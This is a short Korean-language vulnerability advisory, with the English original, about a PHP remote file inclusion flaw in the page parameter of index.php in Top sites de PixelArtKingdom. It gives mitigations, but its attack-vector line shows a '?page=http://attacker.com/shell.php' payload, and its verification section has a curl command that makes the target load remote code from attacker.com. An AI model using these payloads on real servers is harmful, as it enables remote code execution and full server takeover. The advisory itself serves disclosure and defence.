🇰🇷 한글 설명
PHP 원격 파일 포함(RFI) 취약점으로, Top sites de PixelArtKingdom의 index.php에서 page 파라미터를 통해 임의의 원격 파일을 포함하고 실행할 수 있습니다. 인증 없이 악의적인 PHP 파일을 원격에서 로드하여 서버를 완전히 제어할 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자가 입력한 파일 경로를 제대로 검증하지 않아, 인터넷 어디서나 악성 파일을 몰래 실행하게 할 수 있는 문제입니다. 공격자가 서버를 마음대로 조종할 수 있게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in Top sites de PixelArtKingdom allows remote attackers to include and execute arbitrary files via the page parameter.
📍 영향받는 시스템
Top sites de PixelArtKingdom (PHP 기반 애플리케이션, 버전 미지정)
⚔️ 공격 벡터
page 파라미터에 원격 파일 URL(예: ?page=http://attacker.com/shell.php) 전달로 임의 코드 실행
🛡️ 대응 방법
입력값 검증 강화, PHP allow_url_include 비활성화, 화이트리스트 기반 파일 포함 구현
🔧 검증 코드
원격 파일이 실행되면 응답에서 악성 코드의 실행 결과가 포함되어 나타남. 일반 에러만 표시되면 패치됨
curl -s 'http://target.com/index.php?page=http://attacker.com/test.php' | grep -i 'executed\|shell\|php'